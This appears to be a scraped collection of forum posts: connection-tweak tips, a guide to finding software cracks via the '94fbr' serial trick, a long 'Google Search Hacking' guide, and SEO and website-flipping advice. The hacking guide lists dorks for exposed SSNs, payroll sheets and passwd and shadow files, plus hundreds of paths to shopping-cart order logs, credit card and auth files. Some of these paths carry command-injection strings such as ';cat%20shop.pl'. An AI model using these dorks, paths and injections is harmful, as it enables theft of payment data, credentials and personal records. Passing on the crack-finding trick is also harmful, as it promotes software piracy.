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The TCP optimizer

The TCP optimizer is a freeware utility that optimizes your internet connection. I found it very useful and it helped speeding up my connection for regular internet activity and for downloading torrents. Just download it, and move the slidebar to your maximum download rate (note that it’s in kb/s). Don’t try to set it higher because that will hurt your download speeds!

Use http://www.dslreports.com/speedtest?more=1
Click The Ones For You Region Of The World, Find Out You Download Speed, In kbs Not kBs, So It Has To Be In kilobits, If Not Them Divide You Kilobytes By 8, Then You Have Your Maxium Download Speed In bits.

Download

Now you can see what's hiddenhttp://www.speedguide.net/downloads.php


Just Slide The Scroller To Your Max Speed.

Example, Mine In Bits Was 4608, So I Silded The Slider To 4500.

This Does Help With Torrents & Basic Internet Activity

PLEASE THANKS & GIVE REP

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Surf internet extremely fast.

Hi all sup? .. this is a simple thing.


Now you can see what's hiddenYou have to change the DNS addresses.I ll give you two DNS addresses.Replace your DNS with these.

Preferred DNS server:- 208.67.222.222
Alternate DNS server:- 208.67.220.220

To change this,
1 Go to control pannel
2 Network Connections
3 Then right click on your Internet connection and go to properties.
4 In the section "This connection uses the following items" ,click Internet Protocol(TCP/IP)
5 Then click properties
6 In that you will see two options 1.Obtain DNS server automatically
2.Use the following DNS sever addresses.

7 then enter the DNS addresses i gave you.put 208.67.222.222 as preferred DNS srver and 208.67.220.220 as Alternate DNS serever.

Enjoy..

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How to find a crack for softwares in google

how to find a crack for softwares in google
its soo simple first write the product name but be carefull
before the product name you must have to put The and then product name and after that 94fbr(it must be enclosed in inverted commas)
for example
the sc keylogger pro 3.2"94fbr"

enjoy

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How To Find XXX Passwords On Google

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Google Search Hacking !!!

Google Operators:


Operators are used to refine the results and to maximize the search value. They are your tools as well as ethical hackers’ weapons
Basic Operators:


+, -, ~ , ., *, “”, |,

OR


Advanced Operators:

allintext:, allintitle:, allinurl:, bphonebook:, cache:, define:, filetype:, info:, intext:, intitle:, inurl:, link:, phonebook:, related:, rphonebook:, site:, numrange:, daterange





Basic Operators !!



(+) force inclusion of something common

Google ignores common words (where, how, digit, single letters) by default:
Example: StarStar Wars Episode +I

(-) exclude a search term
Example: apple –red

(“) use quotes around a search term to search exact phrases:
Example: “Robert Masse”

Robert masse without “” has the 309,000 results, but “robert masse” only has 927 results. Reduce the 99% irrelevant results




Basic Operators



(~) search synonym:
Example: ~food
Return the results about food as well as recipe, nutrition and cooking information



( . ) a single-character wildcard:
Example: m.trix



Return the results of M@trix, matrix, metrix…….
( * ) any word wildcard




Advanced Operators: “Site:”




Site: Domain_name
Find Web pages only on the specified domain. If we search a specific site, usually we get the Web structure of the domain

Examples:

site:[url]http://yahoo.com[/url]




Advanced Operators: “Filetype:”




Filetype: extension_type

Find documents with specified extensions

The supported extensions are:

- HyperText Markup Language (html) - Microsoft PowerPoint (ppt)
- Adobe Portable Document Format (pdf) - Microsoft Word (doc)
- Adobe PostScript (ps) - Microsoft Works (wks, wps, wdb)
- Lotus 1-2-3 - Microsoft Excel (xls)
(wk1, wk2, wk3, wk4, wk5, wki, wks, wku) - Microsoft Write (wri)
- Lotus WordPro (lwp) - Rich Text Format (rtf)
- MacWrite (mw) - Shockwave Flash (swf)
- Text (ans, txt)


Note: We actually can search asp, php and cgi, pl files as long as it is text-compatible.

Example: Budget filetype: xls




Advanced Operators “Intitle:”



Intitle: search_term

Find search term within the title of a Webpage

Allintitle: search_term1 search_term2 search_term3
Find multiple search terms in the Web pages with the title that includes all these words

These operators are specifically useful to find the directory lists


Example:
Find directory list:
Intitle: Index.of “parent directory”




Advanced Operators “Inurl:”


Inurl: search_term
Find search term in a Web address

Allinurl: search_term1 search_term2 search_term3
Find multiple search terms in a Web address


Examples:
Inurl: cgi-bin
Allinurl: cgi-bin password



Advanced Operators “Intext;”


Intext: search_term
Find search term in the text body of a document.

Allintext: search_term1 search_term2 search_term3
Find multiple search terms in the text body of a document.


Examples:
Intext: Administrator login
Allintext: Administrator login




Advanced Operators: “Cache:”



Cache: URL
Find the old version of Website in Google cache

Sometimes, even the site has already been updated, the old information might be found in cache


Examples:
Cache: [url]http://yahoo.com[/url]




Advanced Operators



..
Conduct a number range search by specifying two numbers, separated by two periods, with no spaces. Be sure to specify a unit of measure or some other indicator of what the number range represents


Examples:
Computer $500..1000
DVD player $250..350




Advanced Operators: “Daterange:”



Daterange: -

Find the Web pages between start date and end date

Note: start_date and end date use the Julian date
The Julian date is calculated by the number of days since January 1, 4713 BC. For example, the Julian date for August 1, 2001 is 2452122


Examples:
2004.07.10=2453196
2004.08.10=2453258


Vulnerabilities date range: 2453196-2453258



Advanced Operators “Link:”



Link: URL
Find the Web pages having a link to the specified URL

Related: URL
Find the Web pages that are “similar” to the specified Web page
info: URL

Present some information that Google has about that Web page
Define: search_term

Provide a definition of the words gathered from various online sources


Examples:
Link: yahoo.com
Related: yahoo.com
Info: yahoo.com

Define: Network security




Advanced Operators “phonebook:”


Phonebook
Search the entire Google phonebook
rphonebook
Search residential listings only
bphonebook
Search business listings only


Examples:
Phonebook: robert las vegas (robert in Las Vegas)
Phonebook: (702) 944-2001 (reverse search, not always work)
The phonebook is quite limited to U.S.A

Salary

Salary filetype: xls site: edu



Security social insurance number

Intitle: Payroll intext: ssn filetype: xls site: edu


Security Social Insurance Number
Payroll intext: Employee intext: ssn Filetype: xls


Filetype: xls “checking account” “credit card” - intext: Application -intext:
Form (only 39 results)



Financial Information

Intitle: “Index of” finances.xls (9)



Personal Mailbox

Intitle: Index.of inurl: Inbox (inurl: User OR inurl: Mail) (220)



Confidential Files

“not for distribution” confidential (1,760)
Confidential Files
“not for distribution” confidential filetype: pdf (marketing info) (456)


OS Detection
Use the keywords of the default installation page of a Web server to search.
Use the title to search
Use the footer in a directory index page


OS Detection-Windows
“Microsoft-IIS/5.0 server at”


OS Detection - Windows
Default web page?
Intitle: “Welcome to Windows 2000 Internet Services” IIS 5.0



OS Detection –Apache 1.3.11-1.3.26
Intitle: Test.Page.for.Apache seeing.this.instead


OS Detection-Apache SSL enable
Intitle: Test.page “SSL/TLS-aware” (127)



Search Passwords

Search the well known password filenames in URL
Search the database connection files or configuration files to find a password and username
Search specific username file for a specific product


Search Passwords

Inurl: etc inurl: passwd



Search Passwords

Intitle: “Index of..etc” passwd


Search Passwords

Intitle: “Index of..etc” passwd


Search Passwords

Inurl: admin.pwd filetype: pwd


Search Passwords

Filetype: inc dbconn





Search Passwords

Filetype: inc intext: mysql_connect




Search Passwords

Filetype: ini +ws_ftp +pwd (get the encrypted passwords)





Search Passwords

Filetype: log inurl: “password.log”




Search Username
+intext: "webalizer" +intext: “Total Usernames” +intext: “Usage Statistics for”


License Key
Filetype: lic lic intext: key (33) (license key)


Sensitive Directories Listing
Powerful buzz word: Index of
Search the well known vulnerable directories names



Sensitive Directories Listing
“index of cgi-bin” (3590)



Sensitive Directories Listing
Intitle: “Index of” cfide (coldfusion directory)


Sensitive Directories Listing
Intitle: index.of.winnt


Get the serial number you need ! (For Certain Things)

1) Go to Google.

2) Use Keyword as "Product name" 94FBR

3) Where, "Product Name" is the name of the item you want to find the serial number for.

4) And voila - there you go - the serial number you needed.

HOW DOES THIS WORK?

Quite simple really. 94FBR is part of a Office 2000 Pro cd key that is widely distributed as it bypasses the activation requirements of Office 2K Pro. By searching for the product name and 94fbr, you guarantee two things. 1) The pages that are returned are pages dealing specifically with the product you're wanting a serial for. 2) Because 94FBR is part of a serial number, and only part of a serial number, you guarantee that any page being returned is a serial number list page.

See these example searches:
Code:

"Photoshop 7"+94FBR
"Age of Mythology"+94FBR
"Nero Burning Rom 5.5"+94FBR

1. “Index of /admin”
2. “Index of /password”
3. “Index of /mail”
4. “Index of /” +passwd
5. “Index of /” +password.txt
6. “Index of /” +.htaccess
7. index of ftp +.mdb allinurl:/cgi-bin/ +mailto
8. administrators.pwd.index
9. authors.pwd.index
10. service.pwd.index
11. filetype:config web
12. gobal.asax index
13. allintitle: “index of/admin”
14. allintitle: “index of/root”
15. allintitle: sensitive filetype:doc
16. allintitle: restricted filetype :mail
17. allintitle: restricted filetype:doc site:gov
18. inurlasswd filetype:txt
19. inurl:admin filetype:db
20. inurl:iisadmin
21. inurl:”auth_user_file.txt”
22. inurl:”wwwroot/*.”
23. top secret site:mil
24. confidential site:mil
25. allinurl: winnt/system32/ (get cmd.exe)
26. allinurl:/bash_history
27. intitle:”Index of” .sh_history
28. intitle:”Index of” .bash_history
29. intitle:”index of” passwd
30. intitle:”index of” people.lst
31. intitle:”index of” pwd.db
32. intitle:”index of” etc/shadow
33. intitle:”index of” spwd
34. intitle:”index of” master.passwd
35. intitle:”index of” htpasswd
36. intitle:”index of” members OR accounts
37. intitle:”index of” user_carts OR user_cart
38. ALTERNATIVE INPUTS====================
39. _vti_inf.html
40. service.pwd
41. users.pwd
42. authors.pwd
43. administrators.pwd
44. shtml.dll
45. shtml.exe
46. fpcount.exe
47. default.asp
48. showcode.asp
49. sendmail.cfm
50. getFile.cfm
51. imagemap.exe
52. test.bat
53. msadcs.dll
54. htimage.exe
55. counter.exe
56. browser.inc
57. hello.bat
58. default.aspdvwssr.dll
59. cart32.exe
60. add.exe
61. index.jsp
62. SessionServlet
63. shtml.dll
64. index.cfm
65. page.cfm
66. shtml.exe
67. web_store.cgi
68. shop.cgi
69. upload.asp
70. default.asp
71. pbserver.dll
72. phf
73. test-cgi
74. finger
75. Count.cgi
76. jj
77. php.cgi
78. php
79. nph-test-cgi
80. handler
81. webdist.cgi
82. webgais
83. websendmail
84. faxsurvey
85. htmlscript
86. perl.exe
87. wwwboard.pl
88. www-sql
89. view-source
90. campas
91. aglimpse
92. glimpse
93. man.sh
94. AT-admin.cgi
95. AT-generate.cgi
96. filemail.pl
97. maillist.pl
98. info2www
99. files.pl
100. bnbform.cgi
101. survey.cgi
102. classifieds.cgi
103. wrap
104. cgiwrap
105. edit.pl
106. perl
107. names.nsf
108. webgais
109. dumpenv.pl
110. test.cgi
111. submit.cgi
112. guestbook.cgi
113. guestbook.pl
114. cachemgr.cgi
115. responder.cgi
116. perlshop.cgi
117. query
118. w3-msql
119. plusmail
120. htsearch
121. infosrch.cgi
122. publisher
123. ultraboard.cgi
124. db.cgi
125. formmail.cgi
126. allmanage.pl
127. ssi
128. adpassword.txt
129. redirect.cgi
130. cvsweb.cgi
131. login.jsp
132. dbconnect.inc
133. admin
134. htgrep
135. wais.pl
136. amadmin.pl
137. subscribe.pl
138. news.cgi
139. auctionweaver.pl
140. .htpasswd
141. acid_main.php
142. access.log
143. log.htm
144. log.html
145. log.txt
146. logfile
147. logfile.htm
148. logfile.html
149. logfile.txt
150. logger.html
151. stat.htm
152. stats.htm
153. stats.html
154. stats.txt
155. webaccess.htm
156. wwwstats.html
157. source.asp
158. perl
159. mailto.cgi
160. YaBB.pl
161. mailform.pl
162. cached_feed.cgi
163. global.cgi
164. Search.pl
165. build.cgi
166. common.php
167. show
168. global.inc
169. ad.cgi
170. WSFTP.LOG
171. index.html~
172. index.php~
173. index.html.bak
174. index.php.bak
175. print.cgi
176. register.cgi
177. webdriver
178. bbs_forum.cgi
179. mysql.class
180. sendmail.inc
181. CrazyWWWBoard.cgi
182. search.pl
183. way-board.cgi
184. webpage.cgi
185. pwd.dat
186. adcycle
187. post-query
188. help.cgi
189. /robots.txt
190. /admin.mdb
191. /shopping.mdb
192. /arg;
193. /stats/styles.css
194. /statshelp.htm
195. /favicon.ico
196. /stats/admin.mdb
197. /shopdbtest.asp
198. /cgi-bin/test.cgi
199. /cgi-bin/test.pl
200. /cgi-bin/env.cgi
201. /photos/protest/styles.css
202. [url]http://hpcgi1.nifty.com/trino/ProxyJ/prxjdg.cgi[/url]
203. /cgi-bin/whereami.cgi
204. /shopping400.mdb
205. /cgi/test.cgi
206. /cgi-bin/test2.pl
207. /photos/protest/kingmarch_02.html
208. /chevy/index.htm
209. /cgi-bin/glocation.cgi
210. /cgi-bin/test2.cgi
211. /ccbill/glocation.cgi
212. /cgi-bin/styles.css
213. /shopping350.mdb
214. /cgi-bin/shopper.cgi
215. /shopadmin.asp
216. /news_2003-02-27.htm
217. /cgi-bin/whois.cgi
218. 3 /cgi-bin/calendar.pl
219. 3 /cgi-bin/calendar/calendar.pl
220. 3 /cgibin/styles.css
221. 3 /venem.htm
222. 2 /stats/www.newbauersflowers.com/stats/04-refers.htm
223. 2 /cgi-bin/where.pl
224. 2 /cgibin/shopper.cgi&TEMPLATE=ORDER.LOG
225. 2 /cgibin/recon.cgi
226. 2 /cgibin/test.cgi
227. 2 /WebShop/templates/styles.css
228. 2 /stats/shopping350.mdb
229. 2 /cgi-bin/mailform.cgi
230. 2 /cgi-bin/recon.cgi
231. 2 /chevy
232. 2 /cgi-bin/servinfo.cgi
233. 2 /acart2_0.mdb
234. 2 /cgi-bin/where.cgi
235. 2 /chevy/
236. 2 /stats/www.savethemall.net/stats/19-refers.htm
237. 2 /ccbill/secure/ccbill.log
238. 2 /cgi/recon.cgi
239. 2 /stats/www.gregoryflynn.com/chevy
240. 2 /ibill/glocation.cgi
241. 2 /ccbill/whereami.cgi
242. 2 /ibill/whereami.cgi
243. 2 /apps_trial.htm
244. 2 /cgi-bin/lancelot/recon.cgi
245. 2 /cgi-bin/DCShop/Orders/styles.css
246. 1 /cgi-bin/htmanage.cgi
247. 1 /stats/www.tysons.net/stats/05-refers.htm
248. 1 /cgi-bin/mastergate/add.cgi
249. 1 /cgi-bin/openjournal.cgi
250. 1 /cgi-bin/calendar/calendar_admin.pl
251. 1 /cgibin/ibill/count.cgi
252. 1 /cgi-bin/nbmember2.cgi
253. 1 /cgi-bin/mastergate/count.cgi
254. 1 /cgi-bin/mastergate/accountcreate.cgi
255. 1 /cgi-bin/ibill/accountcreate.cgi
256. 1 /cgibin/MasterGate2/count.cgi
257. 1 /cgi-bin/amadmin.pl
258. 1 /cgibin/mailform.cgi
259. 1 /cgibin/mastergate/count.cgi
260. 1 /cgibin/harvestor.cgi
261. 1 /cgibin/igate/count.cgi
262. 1 /WebShop
263. 1 /shopdisplaycategories.asp
264. 1 /cgi-bin/DCShop/Orders/orders.txt
265. 1 /cgi-bill/revshare/joinpage.cgi
266. 1 /stats/www.gregoryflynn.com/stats/19-refers.htm
267. 1 /cgi-local/DCShop/auth_data/styles.css
268. 1 /cgi-bin/add-passwd.cgi
269. 1 /cgi-bin/MasterGate/count.cgi
270. 1 /apps_shop.htm%20/comersus/database/comersus.mdb
271. 1 /data/verotellog.txt
272. 1 /epwd/ws_ftp.log
273. 1 /stats/www.dialacure.com/stats/16-refers.htm
274. 1 /cgi/MasterGate2/count.cgi
275. 1 /jump/rsn.tmus/skybox;sz=140×150;segment=all;resor=jackson;state= WY;sect=home;tile=8;ord=57019
276. 1 /wwii/styles.css
277. 1 /cgi-bin/admin.mdb
278. 1 /stats/www.gregoryflynn.com/stats/31-refers.htm
279. 1 /cgi-bin/ibill-tools/count.cgi
280. 1 /WebShop/templates/cc.txt
281. 1 /cgibin/ibill/accountcreate.cgi
282. 1 /cgi-bin/count.cgi
283. 1 /cgi-local/DCShop/auth_data/auth_user_file.txt
284. 1 /cgi/mastergate/count.cgi
285. 1 /cgi-bin/EuroDebit/addusr.pl
286. 1 /cgi-bin/dbm-passwd.cgi
287. 1 /cgi/igate/accountcreate.cgi
288. 1 /cgi-bin/store/Log_files/your_order.log
289. store/log_files/your_order.log
290. /cgi-bin/DCShop/Orders/orders.txt
291. /vpasp/shopdbtest.asp
292. /orders/checks.txt
293. /WebShop/logs
294. /ccbill/secure/ccbill.log
295. /scripts/cart32.exe
296. /cvv2.txt
297. /cart/shopdbtest.asp
298. /cgi-win/cart.pl
299. /shopdbtest.asp
300. /WebShop/logs/cc.txt
301. /cgi-local/cart.pl
302. /PDG_Cart/order.log
303. /config/datasources/expire.mdb
304. /cgi-bin/ezmall2000/mall2000.cgi?page=../mall_log_files/order.loghtml
305. /orders/orders.txt
306. /cgis/cart.pl
307. /webcart/carts
308. /cgi-bin/cart32.exe/cart32clientlist
309. /cgi/cart.pl
310. /comersus/database/comersus.mdb
311. /WebShop/templates/cc.txt
312. /Admin_files/order.log
313. /orders/mountain.cfg
314. /cgi-sys/cart.pl
315. /scripts/cart.pl
316. /htbin/cart.pl
317. /productcart/database/EIPC.mdb
318. /shoponline/fpdb/shop.mdb
319. /config/datasources/myorder.mdb
320. /PDG_Cart/shopper.conf
321. /shopping/database/metacart.mdb
322. /bin/cart.pl
323. /cgi-bin/cart32.ini
324. /database/comersus.mdb
325. /cgi-local/medstore/loadpage.cgi?user_id=id&file=data/orders.txt
326. /cgi-bin/store/Admin_files/myorderlog.txt
327. /cgi-bin/orders.txt
328. /cgi-bin/store/Admin_files/your_order.log
329. /test/test.txt
330. /fpdb/shop.mdb
331. /cgibin/shop/orders/orders.txt
332. /shopadmin1.asp
333. /cgi-bin/shop.cgi
334. /cgi-bin/commercesql/index.cgi?page=../admin/manager.cgi
335. /cgi-bin/PDG_cart/card.txt
336. /shopper.cgi?preadd=action&key=PROFA&template=order1.log
337. /store/shopdbtest.asp
338. /log_files/your_order.log
339. /_database/expire.mdb
340. /HyperStat/stat_what.log
341. /cgibin/DCShop/auth_data/auth_user_file.txt
342. /htbin/orders/orders.txt
343. /SHOP/shopadmin.asp
344. /index.cgi?page=../admin/files/order.log
345. /vpshop/shopadmin.asp
346. /webcart/config
347. /PDG/order.txt
348. /cgi-bin/shopper.cgi
349. /orders/order.log
350. /orders/db/zzzbizorders.log.html
351. /easylog/easylog.html
352. /cgi-bin/store/Log_files/your_order.log
353. /cgi-bin/%20shopper.cgi?preadd=action&key=PROFA&template=shopping400.mdb
354. /comersus_message.asp?
355. /orders/import.txt
356. /htbin/DCShop/auth_data/auth_user_file.txt
357. /admin/html_lib.pl
358. /cgi-bin/%20shopper.cgi?preadd=action&key=PROFA&template=myorder.txt
359. /cgi-bin/DCShop/auth_data/auth_user_file.txt
360. /cgi-bin/shop.pl/page=;cat%20shop.pl
361. /cgi-bin/shopper?search=action&keywords=dhenzuser%20&template=order.log
362. /HBill/htpasswd
363. /bin/shop/auth_data/auth_user_file.txt
364. /cgi-bin/cs/shopdbtest.asp
365. /mysql/shopping.mdb
366. /Catalog/config/datasources/Products.mdb
367. /trafficlog
368. /cgi/orders/orders.txt
369. /cgi-local/PDG_Cart/shopper.conf
370. /store/cgi-bin/Admin_files/expire.mdb
371. /derbyteccgi/shopper.cgi?key=SC7021&preadd=action&template=order.log
372. /derbyteccgi/shopper.cgi?search=action&keywords=moron&template=order.log
373. /cgi-bin/mc.txt
374. /cgi-bin/mall2000.cgi
375. /cgi-win/DCShop/auth_data/auth_user_file.txt
376. /cgi-bin/shopper.cgi?search=action&keywords=root%20&template=order.log
377. /store/commerce.cgi
378. /scripts/shop/orders/orders.txt
379. /product/shopping350.mdb
380. /super_stats/access_logs
381. /cgi-local/orders/orders.txt
382. /cgi-bin/PDG_Cart/mc.txt
383. /cgibin/cart32.exe
384. /cgi-bin/Shopper.exe?search=action&keywords=psiber%20&template=other/risinglogorder.log
385. /cgibin/password.txt
386. /Catalog/cart/carttrial.dat
387. /catalog/Admin/Admin.asp
388. /ecommerce/admin/user/admin.asp
389. /data/productcart/database/EIPC.mdb
390. /store/admin_files/commerce_user_lib.pl
391. /cgi-bin/store/index.cgi
392. /paynet.txt
393. /config/datasources/store/billing.mdb
394. /_database/shopping350.mdb
395. /cgi-bin/shopper.exe?search
396. /cgi/shop.pl/page=;cat%20shop.pl
397. /cgi-bin/store/Admin_files/orders.txt
398. /cgi-bin/store/commerce_user_lib.pl
399. /cgi-sys/pagelog.cgi
400. /cgi-sys/shop.pl/page=;cat%20shop.pl
401. /scripts/weblog
402. /fpdb/shopping400.mdb
403. /htbin/shop/orders/orders.txt
404. /cgi-bin/%20shopper.cgi?preadd=action&key=PROFA&template=myorder.log
405. /cgi-bin/shopper.exe?search=action&keywords=psiber&template=order.log
406. /mall_log_files/
407. /cgi-bin/perlshop.cgi
408. /tienda/shopdbtest.asp
409. /cgi-bin/%20shopper.cgi?preadd=action&key=PROFA&template=shopping.mdb
410. /cgi-bin/shopper.cgi?search=action&keywords=whinhall&template=order.log
411. /WebShop/logs/ck.log
412. /fpdb/shopping300.mdb
413. /mysql/store.mdb
414. /cgi-bin/store/Admin_files/commerce_user_lib.pl
415. /config.dat
416. /order/order.log
417. /commerce_user_lib.pl
418. /Admin_files/AuthorizeNet_user_lib.pl
419. /cvv2.asp
420. /cgi-bin/cart32/CART32-order.txt
421. /wwwlog
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423. /cgi-bin/pass/merchant.cgi.log
424. /cgi-local/pagelog.cgi
425. /cgi-bin/pagelog.cgi
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427. /cgis/shop/orders/orders.txt
428. /admin/admin_conf.pl
429. /cgi-bin/pdg_cart/order.log
430. /cgi/PDG_Cart/order.log
431. /Admin_files/ccelog.txt
432. /cgi-bin/orders/mc.txt
433. /cgi/cart32.exe
434. /ecommerce/admin/admin.asp
435. /scripts/DCShop/auth_data/auth_user_file.txt
436. /Catalog/config/datasources/Expire.mdb
437. /ecommerce/admin/shopdbtest.asp
438. /mysql/mystore.mdb
439. /cgi-bin/%20shopper.cgi?preadd=action&key=PROFA&template=shopping.asp
440. /cgi-bin/commercesql/index.cgi?page=../admin/files/order.log
441. /cgi-bin/Count.cgi?df=callcard.dat
442. /logfiles/
443. /shopping/shopping350.mdb
444. /admin/configuration.pl
445. /cgis/DCShop/auth_data/auth_user_file.txt
446. /cgis/cart32.exe
447. /cgi-bin/dcshop.cgi
448. /cgi-win/shop/auth_data/auth_user_file.txt
449. /shopping400.mdb
450. /HBill/config
451. /cgi-bin/shop/index.cgi?page=../admin/files/order.log
452. /search=action&keywords=GSD%20&template=order.log
453. /WebCart/orders.txt
454. /PDG_Cart/authorizenets.txt
455. /cgi-bin/AnyForm2
456. /~gcw/cgi-bin/Count.cgi?df=callcard.dat
457. /cgi-bin/PDG_Cart/order.log
458. /expire.mdb
459. /logger/
460. /webcart-lite/orders/import.txt
461. /cgi-bin/commercesql/index.cgi?page=../admin/admin_conf.pl
462. /cgi-bin/PDG_Cart/shopper.conf
463. /cgi-bin/cart32.exe
464. /dc/orders/orders.txt
465. /cgi-local/DCShop/orders/orders.txt
466. /shop.pl/page=shop.cfg
467. /cgi-local/cart32.exe
468. /cgi-win/pagelog.cgi
469. /cgi-win/shop/orders/orders.txt
470. /cgibin/shopper.cgi?search=action&keywords=moron&template=order.csv
471. /cgi-sys/DCShop/auth_data/auth_user_file.txt
472. /cgi-bin/www-sql;;;
473. /cgi-bin/%20shopper.cgi?preadd=action&key=PROFA&template=order.log
474. /scripts/orders/orders.txt
475. /cgi-local/shop.pl/shop.cfg
476. /search=action&keywords=cwtb%20&template=expire.mdb
477. /php/mylog.phtml
478. /config/datasources/shopping.mdb
479. /php-coolfile/action.php?action=edit&file=config.php
480. /cgi-bin/ezmall2000/mall2000.cgi
481. /cgi/DCShop/orders/orders.txt
482. /cgi-local/shop.pl
483. /cgis/DCShop/orders/orders.txt
484. /product/shopdbtest.asp
485. /ASP/cart/database/metacart.mdb
486. /cgi-bin/cgi-lib.pl
487. /cgi-bin/mailview.cgi?cmd=view&fldrname=inbox&select=1&html
488. /search=action&keywords=cwtb%20&template=order.log
489. /mysql/expire.mdb
490. /scripts/shop/auth_data/auth_user_file.txt
491. /cgi-bin/cart32/whatever-OUTPUT.txt
492. /Shopping%20Cart/shopdbtest.asp
493. /cgi/shop/auth_data/auth_user_file.txt
494. /shop/shopping350.mdb
495. /cgi-bin/store/Authorize_Net.pl
496. /scripts/DCShop/orders/orders.txt
497. /store/log_files/commerce_user_lib.pl
498. /shopping/shopadmin.asp
499. /cgi-bin/orderlog.txt
500. /cgi-bin/webcart/webcart.cgi?CONFIG=mountain&CHANGE=YES&NEXTPAGE=;cat%20../../webcart/system/orders/orders.txt|&CODE=PHOLD;;;
501. /cool-logs/mylog.html
502. /cgibin/shop.pl/page=;cat%20shop.pl
503. /htbin/shop.pl/page=;cat%20shop.pl
504. /cgi-win/orders/orders.txt
505. /cgi-bin/%20shopper.cgi?preadd=action&key=PROFA&template=order1.txt
506. /SHOP/shopdbtest.asp
507. /cgi/pagelog.cgi
508. /php/mlog.phtml
509. /cgi-bin/shop/apdproducts.mdb
510. /htbin/shop/auth_data/auth_user_file.txt
511. /server%20logfile;;;
512. /database/metacart.mdb
513. /cgi-local/shop/orders/orders.txt

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18 Things your Should not do while Practicing SEO


Here is a list I found of things you should stay away from while optimizing your site for search engines:


1. Don't take the SEO spam seriously which you see in classifieds or get in your email. There's no need to submit to 5,000 search engines or 5000 directories. It's unlikely you can buy 2,000 quality
links for $30. No serious SEO can guarantee a number one position
on any search engine for relevant keywords. A trusty and serious SEO does not need to send out SPAM-mails and does not rely on fantasy-promises to get potential customers.

2. Don't wait too long with SEO implementation . Whether you just
launched a new site or whether you're upgrading your current web site, SEO
considerations should be made in advance. This also includes keyword research to plan your site around certain keywords. And not tweaking it afterwards.

3. Take your time deciding to hire a SEO. Hiring a SEO is something which should take time since you dont want the first best SEO coming along your way. Remember: It's your business!. Online marketing can make or break a company, chosing a service should need lots of research. And: Feel free to ask questions before you consider a SEO firm.

4. No content-spreading across several domains. There are
times when sub-domains or an extra domain will make sense. But always know
the pros and cons of using sub-domains and additional domains.

5. Submitting your URL to search engines is a waste of time. The bots and crawlers, Google, Yahoo, MSN et al. will find your web site anyway as soon as your links are established. Search Engine submission is overrated and basically really not needed.

6. Never have your web site uncrawlable. A wrong robots.txt file, having session IDs or too many variables
in your URLs, an incorrect and non-followable navigation menu, having your web site all in Flash, all graphics etc. are defintly big NOs when it comes to search engine optimization.

7. Dont use too general keywords. I see it way too often that people target keywords like "myspace", "shoes", "hosting" or similiar highly searched and general keywords. No way on earth is there even a remote chance for those sites to rank great for those terms. Use three- or four-letter words, do keyword research and target specialized keywords with some ok-to-good search volume and low competition. The "best" keyword is NOT the most searched for on the web, but the one giving you a realistic chance of rankings.
keyword stuffing - this one is tasty tho
8. No keyword stuffing. Stuffing keywords in META tags, Image-ALT Tags etc. This should be
obvious. Google is not easily fooled. Putting "Microsoft Windows" fifty
times in your tags does not make you rank higher than Bill for a search
on "Microsoft Windows".

9. No keywords in the page footer which blind-in with the background and no hidden text. Again, together wth keyword-stuffing this is just as pathetic and wont bring you anything. As a bonus you will get a nice Google penalty - if you're unlucky it might even get your site banned.

10. No same title element on every page. Avoid repetitions as good as you can. This is especially important for page-titles. Google has an eye on page-titles. So your unique content should also have unique page titles across your web site.

12. Don't let www.example.com and example.com resolve to one home page. To a search engine those are two separate addresses -meaning you
would have the same, duplicate content at two seperate addresses.

12. Poor Usability. Proper and logical site navigation and descriptive texts are important. Not only for your users - also for the search engine spiders. Write and design your site with the human in mind - not the google spiders. Again: Google is not easily fooled and a site which is good for your people will also suit the spiders and therefore your SEO.

13. Never give up creating content because you think
that you don't need it for your site or your customers would not be not interested in it. There's always room for great and new content. People in particular love TOP-Lists and similiar where they can bookmark and always come back to. Don't get lazy. Content is still king.

14. Don't go for low-quality links with unrelated sites just "to have links". Some immediately start trading
links with every site they can find. For the sake of quality link you can forego low-quality link-trading with sites which have nothing to do with your product or service. You might get a huge number of links, yes, but in the long run this will rather hurt you. Focus on related sites and high quality. Be patient. Be choosy !

15. Not alway the same anchor text on all links to your web site. That's what is called "unnatural link building". The best way to build links is with varying anchor-texts and not automated by directory-submission to 1000s of directories using the same text. Every dummy can do this from certain web pages or using certain tools in a matter of minutes. Google, again, is not that stupid. Go it slow and build quality links and rather do a few manual high quality ones with different descriptions. No high volume repetive automated submitted links.

16. No links all over forums, blog comments To a certain amount this is spamming. There's nothing wrong to do this in moderation. But there are better ways to just leave your links all over the net. Example: Article writing and submission.

17. Obsession with keyword density. We all know we need our keywords in the page title, meta tags, body text etc....but obsessing over keyword density and trying to "tweak" it to perfection is pointless. If there is an "exact formula" we all would use it. There is none.

18. No Obsession over Google PageRank. Page Rank does not really have any real life value except telling you whether a
page is stored in the main or supplemental index and giving some information about crawl-rates etc.

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6 Tips for Flipping Websites for Profit


Saw this at another site. I have recently become interesting in buying, fixing up, and selling sites for a profit. Basically if you know some good seo techniques, you can buy sites cheaply, optimize them and resell them for 2-3 times what you paid after a few months. Here are the tips. Feel free to leave feedback or add to the list:

6 Tips On Flipping Websites For Profit

Tip #1: Choosing a Niche

It’s important that when flipping your website, that it’s within a niche that has a market for growth. Most people will only buy websites if the niche is in a market that can generate traffic and have products available to be promoted within the niche.

Tip #2: Traffic Generation

Always ensure that before you flip your website that it is actually generating traffic. No one wants to buy a website with no traffic; therefore before even attempting to flip a website, ensure the site is already generating solid traffic.

Tip #3: Income Generation

Another factor before flipping is to show that the website is already generating income. People prefer to purchase a website while it’s on the rise, rather than when it’s on the decline. In most cases flips are done quickly, therefore this should not be a problem. Forecasting income based on the site’s income will give the user a conservative estimation of what the site could make in the future, and how long it will take to regain their investment.

Tip #4: Powerful Presentation

Above all else, you need to present your sales thread with as much information as possible and present it, in an easy to follow manner. This is important, as you want to limit the number of questions or queries so that you can receive qualified bids.

Tip #5: Proof Of Income

Showing proof of income is an important factor in flipping websites. You can say your site is making money, but people will require proof before making a formal bid on your site. Therefore it’s important to have screenshots ready to provide as proof that you are making the money as listed on the sales thread.

Tip #6: Proof Stats

As with the income proof, you’ll also need to provide proof that you are receiving the traffic as listed. Traffic is a key element to deciding whether or not a buyer will make a bid on your website. To limit traffic related questions such as traffic referrals, search engine referrals etc, it’s best to provide proof of your traffic claims. By doing this it will show you are serious about having this site sold but providing all the information as needed.

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